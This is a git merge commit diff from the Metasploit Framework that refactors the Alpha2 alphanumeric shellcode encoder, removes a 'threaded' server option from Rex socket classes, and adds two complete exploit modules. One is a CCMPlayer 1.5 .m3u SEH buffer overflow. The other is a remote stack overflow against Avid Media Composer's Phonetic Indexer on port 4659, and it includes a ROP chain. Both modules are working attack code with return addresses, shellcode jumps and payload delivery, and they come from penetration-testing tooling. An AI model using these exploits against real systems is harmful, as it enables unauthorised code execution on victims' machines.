Merge remote-tracking branch 'upstream/master'
commit
ff425bf39d
|
@ -63,8 +63,7 @@ class Service
|
|||
self.options[:ssl],
|
||||
self.options[:context],
|
||||
self.options[:comm],
|
||||
self.options[:cert],
|
||||
true
|
||||
self.options[:cert]
|
||||
)
|
||||
|
||||
self.service.add_resource(self.uri, {
|
||||
|
|
|
@ -8,6 +8,7 @@ module Alpha2
|
|||
|
||||
class Generic
|
||||
|
||||
# Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator
|
||||
def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def Generic.gen_decoder_prefix(reg, offset)
|
||||
|
@ -22,14 +23,6 @@ class Generic
|
|||
return ''
|
||||
end
|
||||
|
||||
def Generic.gen_base_set(ignored_max=0x0f)
|
||||
# 0xf is max for XOR encodings - non-unicode
|
||||
max = 0x0f
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def Generic.gen_second(block, base)
|
||||
# XOR encoder for ascii - unicode uses additive
|
||||
(block^base)
|
||||
|
@ -38,57 +31,40 @@ class Generic
|
|||
def Generic.encode_byte(block, badchars)
|
||||
accepted_chars = default_accepted_chars.dup
|
||||
|
||||
badchars.each_char {|c| accepted_chars.delete(c) } if badchars
|
||||
|
||||
# Remove bad chars from the accepted_chars list. Sadly 'A' must be
|
||||
# an accepted char or we'll certainly fail at this point. This could
|
||||
# be fixed later maybe with some recalculation of the encoder stubs...
|
||||
# - Puss
|
||||
(badchars || '').unpack('C*').map { |c| accepted_chars.delete([c].pack('C')) }
|
||||
# No, not nipple.
|
||||
nibble_chars = Array.new(0x10) {[]}
|
||||
accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) }
|
||||
|
||||
first = 0
|
||||
second = 1
|
||||
randbase = 0
|
||||
found = nil
|
||||
poss_encodings = []
|
||||
|
||||
block_low_nibble = block & 0x0F
|
||||
block_high_nibble = block >> 4
|
||||
|
||||
gen_base_set(block).each do |randbase_|
|
||||
second = gen_second(block, randbase_)
|
||||
next if second < 0
|
||||
if accepted_chars.include?([second].pack('C'))
|
||||
found = second
|
||||
randbase = randbase_
|
||||
break
|
||||
end
|
||||
# Get list of chars suitable for expressing lower part of byte
|
||||
first_chars = nibble_chars[block_low_nibble]
|
||||
|
||||
# Build a list of possible encodings
|
||||
first_chars.each do |first_char|
|
||||
first_high_nibble = first_char.unpack('C')[0] >> 4
|
||||
|
||||
# In the decoding process, the low nibble of the second char gets combined
|
||||
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
|
||||
# and we want the high nibble of our input byte to result
|
||||
second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F
|
||||
|
||||
# Find valid second chars for this first char and add each combination to our possible encodings
|
||||
second_chars = nibble_chars[second_low_nibble]
|
||||
second_chars.each {|second_char| poss_encodings.push(second_char + first_char) }
|
||||
end
|
||||
|
||||
if not found
|
||||
msg = "No valid base found for #{"0x%.2x" % block}"
|
||||
if not accepted_chars.include?([second].pack('C'))
|
||||
msg << ": BadChar to #{second}"
|
||||
elsif second < 1
|
||||
msg << ": Negative"
|
||||
end
|
||||
raise RuntimeError, msg
|
||||
if poss_encodings.empty?
|
||||
raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set"
|
||||
end
|
||||
|
||||
if (randbase > 0xa0)
|
||||
# first num must be 4
|
||||
first = (randbase/0x10) + 0x40
|
||||
elsif (randbase == 0x00) || (randbase == 0x10)
|
||||
# first num must be 5
|
||||
first = (randbase/0x10) + 0x50
|
||||
else
|
||||
# pick one at "random"
|
||||
first = (randbase/0x10)
|
||||
if (first % 2) > 0
|
||||
first += 0x40
|
||||
else
|
||||
first += 0x50
|
||||
end
|
||||
end
|
||||
|
||||
# now add our new bytes :)
|
||||
[first.to_i, second].pack('CC')
|
||||
# Return a random encoding
|
||||
poss_encodings[rand(poss_encodings.length)]
|
||||
end
|
||||
|
||||
def Generic.encode(buf, reg, offset, badchars = '')
|
||||
|
@ -97,10 +73,10 @@ class Generic
|
|||
buf.each_byte {
|
||||
|block|
|
||||
|
||||
encoded += encode_byte(block, badchars)
|
||||
encoded << encode_byte(block, badchars)
|
||||
}
|
||||
|
||||
encoded += add_terminator()
|
||||
encoded << add_terminator()
|
||||
|
||||
return encoded
|
||||
end
|
||||
|
|
|
@ -8,20 +8,14 @@ module Alpha2
|
|||
|
||||
class UnicodeMixed < Generic
|
||||
|
||||
def self.gen_base_set(max)
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 28)
|
||||
raise "Critical: Offset is greater than 28"
|
||||
if (offset > 21)
|
||||
raise "Critical: Offset is greater than 21"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
|
|
|
@ -9,20 +9,14 @@ module Alpha2
|
|||
class UnicodeUpper < Generic
|
||||
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
|
||||
|
||||
def self.gen_base_set(max)
|
||||
Rex::Text.shuffle_a(
|
||||
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
|
||||
)
|
||||
end
|
||||
|
||||
def self.gen_second(block, base)
|
||||
# unicode uses additive encoding
|
||||
(block - base)
|
||||
end
|
||||
|
||||
def self.gen_decoder_prefix(reg, offset)
|
||||
if (offset > 8)
|
||||
raise "Critical: Offset is greater than 8"
|
||||
if (offset > 6)
|
||||
raise "Critical: Offset is greater than 6"
|
||||
end
|
||||
|
||||
# offset untested for unicode :(
|
||||
|
|
|
@ -68,13 +68,9 @@ module StreamServer
|
|||
self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) {
|
||||
monitor_listener
|
||||
}
|
||||
if self.threaded
|
||||
self.clients_thread = []
|
||||
else
|
||||
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
|
||||
monitor_clients
|
||||
}
|
||||
end
|
||||
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
|
||||
monitor_clients
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -82,7 +78,7 @@ module StreamServer
|
|||
#
|
||||
def stop
|
||||
self.listener_thread.kill
|
||||
self.clients_thread.kill unless self.threaded
|
||||
self.clients_thread.kill
|
||||
|
||||
self.clients.each { |cli|
|
||||
close_client(cli)
|
||||
|
@ -95,7 +91,6 @@ module StreamServer
|
|||
#
|
||||
def close_client(client)
|
||||
if (client)
|
||||
clients_thread.delete_at(clients.index(client)) if self.threaded
|
||||
clients.delete(client)
|
||||
|
||||
begin
|
||||
|
@ -135,7 +130,7 @@ module StreamServer
|
|||
attr_accessor :on_client_close_proc
|
||||
|
||||
attr_accessor :clients # :nodoc:
|
||||
attr_accessor :listener_thread, :clients_thread, :threaded # :nodoc:
|
||||
attr_accessor :listener_thread, :clients_thread # :nodoc:
|
||||
attr_accessor :client_waiter
|
||||
|
||||
protected
|
||||
|
@ -161,12 +156,6 @@ protected
|
|||
# Initialize the connection processing
|
||||
on_client_connect(cli)
|
||||
|
||||
if self.threaded # Start thread
|
||||
self.clients_thread << Rex::ThreadFactory.spawn("StreamServerClientMonitor#{cli.to_s}", false, cli) {
|
||||
monitor_clients(cli)
|
||||
}
|
||||
end
|
||||
|
||||
# Notify the client monitor
|
||||
self.client_waiter.push(cli)
|
||||
|
||||
|
@ -186,20 +175,16 @@ protected
|
|||
# This method monitors client connections for data and calls the
|
||||
# +on_client_data+ routine when new data arrives.
|
||||
#
|
||||
def monitor_clients(cli = nil)
|
||||
def monitor_clients
|
||||
begin
|
||||
|
||||
# Wait for a notify if our client list is empty
|
||||
if (not self.threaded and clients.length == 0)
|
||||
if (clients.length == 0)
|
||||
self.client_waiter.pop
|
||||
next
|
||||
end
|
||||
|
||||
if self.threaded
|
||||
sd = Rex::ThreadSafe.select([cli])
|
||||
else
|
||||
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
|
||||
end
|
||||
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
|
||||
|
||||
sd[0].each { |cfd|
|
||||
begin
|
||||
|
@ -218,8 +203,6 @@ protected
|
|||
}
|
||||
|
||||
rescue ::Rex::StreamClosedError => e
|
||||
# Remove thread from the list if threaded
|
||||
clients_thread.delete_at(clients.index(client)) if self.threaded
|
||||
# Remove the closed stream from the list
|
||||
clients.delete(e.stream)
|
||||
rescue ::Interrupt
|
||||
|
|
|
@ -99,14 +99,13 @@ class Server
|
|||
# Initializes an HTTP server as listening on the provided port and
|
||||
# hostname.
|
||||
#
|
||||
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, threaded = false)
|
||||
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil)
|
||||
self.listen_host = listen_host
|
||||
self.listen_port = port
|
||||
self.ssl = ssl
|
||||
self.context = context
|
||||
self.comm = comm
|
||||
self.ssl_cert = ssl_cert
|
||||
self.threaded = threaded
|
||||
|
||||
self.listener = nil
|
||||
self.resources = {}
|
||||
|
@ -138,8 +137,7 @@ class Server
|
|||
'Context' => self.context,
|
||||
'SSL' => self.ssl,
|
||||
'SSLCert' => self.ssl_cert,
|
||||
'Comm' => self.comm,
|
||||
'Threaded' => self.threaded
|
||||
'Comm' => self.comm
|
||||
)
|
||||
|
||||
# Register callbacks
|
||||
|
@ -262,7 +260,7 @@ class Server
|
|||
end
|
||||
|
||||
attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert
|
||||
attr_accessor :listener, :resources, :threaded
|
||||
attr_accessor :listener, :resources
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -673,9 +673,6 @@ module Socket
|
|||
self.localport = params.localport
|
||||
self.context = params.context || {}
|
||||
self.ipv = params.v6 ? 6 : 4
|
||||
if (self.respond_to?('threaded'))
|
||||
self.threaded = params.threaded?
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -97,11 +97,6 @@ class Rex::Socket::Parameters
|
|||
#
|
||||
# The number of seconds before a connection should time out
|
||||
#
|
||||
# Threaded
|
||||
#
|
||||
# Whether the server is to spin off a new thread for each client.
|
||||
#
|
||||
|
||||
|
||||
def initialize(hash)
|
||||
if (hash['PeerHost'])
|
||||
|
@ -144,12 +139,6 @@ class Rex::Socket::Parameters
|
|||
self.ssl = false
|
||||
end
|
||||
|
||||
if (hash['Threaded'] and hash['Threaded'].to_s =~ /^(t|y|1)/i)
|
||||
self.threaded = true
|
||||
else
|
||||
self.threaded = false
|
||||
end
|
||||
|
||||
if (hash['SSLVersion'] and hash['SSLVersion'].to_s =~ /^(SSL2|SSL3|TLS1)$/i)
|
||||
self.ssl_version = hash['SSLVersion']
|
||||
end
|
||||
|
@ -284,12 +273,6 @@ class Rex::Socket::Parameters
|
|||
return v6
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if Multithreading has been enabled
|
||||
#
|
||||
def threaded?
|
||||
return threaded
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -361,10 +344,6 @@ class Rex::Socket::Parameters
|
|||
# Whether we should use IPv6
|
||||
#
|
||||
attr_accessor :v6
|
||||
#
|
||||
# Whether we should be multithreaded
|
||||
#
|
||||
attr_accessor :threaded
|
||||
|
||||
|
||||
attr_accessor :proxies
|
||||
|
|
|
@ -0,0 +1,97 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
|
||||
'Description' => %q{
|
||||
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
|
||||
a m3u playlist with a long track name, a SEH exception record can be overwritten
|
||||
with parts of the controllable buffer. SEH execution is triggered after an
|
||||
invalid read of an injectible address, thus allowing arbitrary code execution.
|
||||
This module works on multiple Windows platforms including: Windows XP SP3,
|
||||
Windows Vista, and Windows 7.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Rh0'], # discovery and metasploit module
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.exploit-db.com/exploits/18178/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x1000,
|
||||
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
|
||||
'DisableNops' => 'True',
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'CCMPlayer 1.5',
|
||||
{
|
||||
# pop esi / pop ebx / ret (in ccmplay.exe)
|
||||
# tweak it if necessary
|
||||
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
|
||||
'Offset' => 0x1000
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '30 Nov 2011', # to my knowledge
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
m3u = "C:\\"
|
||||
# shellcode
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
|
||||
m3u << payload.encoded
|
||||
# junk
|
||||
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
|
||||
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
|
||||
# to trigger SEH
|
||||
m3u << [0xffffffff].pack("V")
|
||||
# pad
|
||||
m3u << rand_text_alpha_upper(3)
|
||||
# long jmp: jmp far back to shellcode
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
|
||||
# NSEH: jmp short back to long jmp instruction
|
||||
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
|
||||
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
|
||||
m3u << rand_text_alpha_upper(2)
|
||||
# SEH Exception Handler Address -> p/p/r
|
||||
m3u << [target.ret].pack("V")
|
||||
m3u << ".mp3\r\n" # no crash without it
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
|
||||
file_create(m3u)
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,111 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in process
|
||||
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
|
||||
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
|
||||
it standalone it will run on port 4660.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'vt [nick.freeman@security-assessment.com]',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1012,
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
||||
'DisableNops' => true,
|
||||
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
||||
'EncoderOptions' =>
|
||||
{
|
||||
'BufferRegister' => 'EAX',
|
||||
}
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows XP Professional SP3',
|
||||
{
|
||||
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
|
||||
}
|
||||
],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 29 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(4659),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
rop_gadgets = [
|
||||
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
|
||||
# a non-sayonara ROP would be super easy too, I'm just lazy :)
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0x7C3410C2, # pop ecx;pop ecx;ret;
|
||||
0x7C342462, # xor chain; call eax {0x7C3410C2}
|
||||
0x7C38C510, # writeable location for lpflOldProtect
|
||||
0x7C365645, # pop esi;ret;
|
||||
0x7C345243, # ret;
|
||||
0x7C348F46, # pop ebp;ret;
|
||||
0x7C3487EC, # call eax
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0xfffffbfc, # {size}
|
||||
0x7C34D749, # neg eax;ret; {adjust size}
|
||||
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
|
||||
0x7C3439FA, # pop edx;ret;
|
||||
0xFFFFFFC0, # {flag}
|
||||
0x7C351EB1, # neg edx;ret; {adjust flag}
|
||||
0x7C354648, # pop edi;ret;
|
||||
0x7C3530EA, # mov eax,[eax];ret;
|
||||
0x7C344CC1, # pop eax;ret;
|
||||
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
|
||||
0x7C355AEB, # sub eax,30;ret;
|
||||
0x7C378C81, # pushad; add al,0xef; ret;
|
||||
0x7C36683F, # push esp;ret;
|
||||
].pack("V*")
|
||||
|
||||
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
|
||||
bufregfix = "\x8b\xc4" # MOV EAX,ESP
|
||||
bufregfix += "\x83\xc0\x10" # ADD EAX,10
|
||||
|
||||
connect
|
||||
sploit = ''
|
||||
sploit << rand_text_alpha_upper(216)
|
||||
sploit << [target.ret].pack('V*')
|
||||
sploit << "A"*732 #This avoids a busted LoadLibrary
|
||||
sploit << rop_gadgets
|
||||
sploit << bufregfix
|
||||
sploit << "\xeb\x09"
|
||||
sploit << rand_text_alpha_upper(9)
|
||||
sploit << payload.encoded
|
||||
sock.put(sploit)
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
|
@ -352,7 +352,7 @@ class Metasploit3 < Msf::Post
|
|||
success = false
|
||||
lns.each_line { |ln|
|
||||
ln.chomp!
|
||||
if ln =~ /^SUCCESS\:\s/
|
||||
if ln =~ /^SCHELEVATOR$/
|
||||
success = true
|
||||
print_status(ln)
|
||||
else
|
||||
|
|
Loading…
Reference in New Issue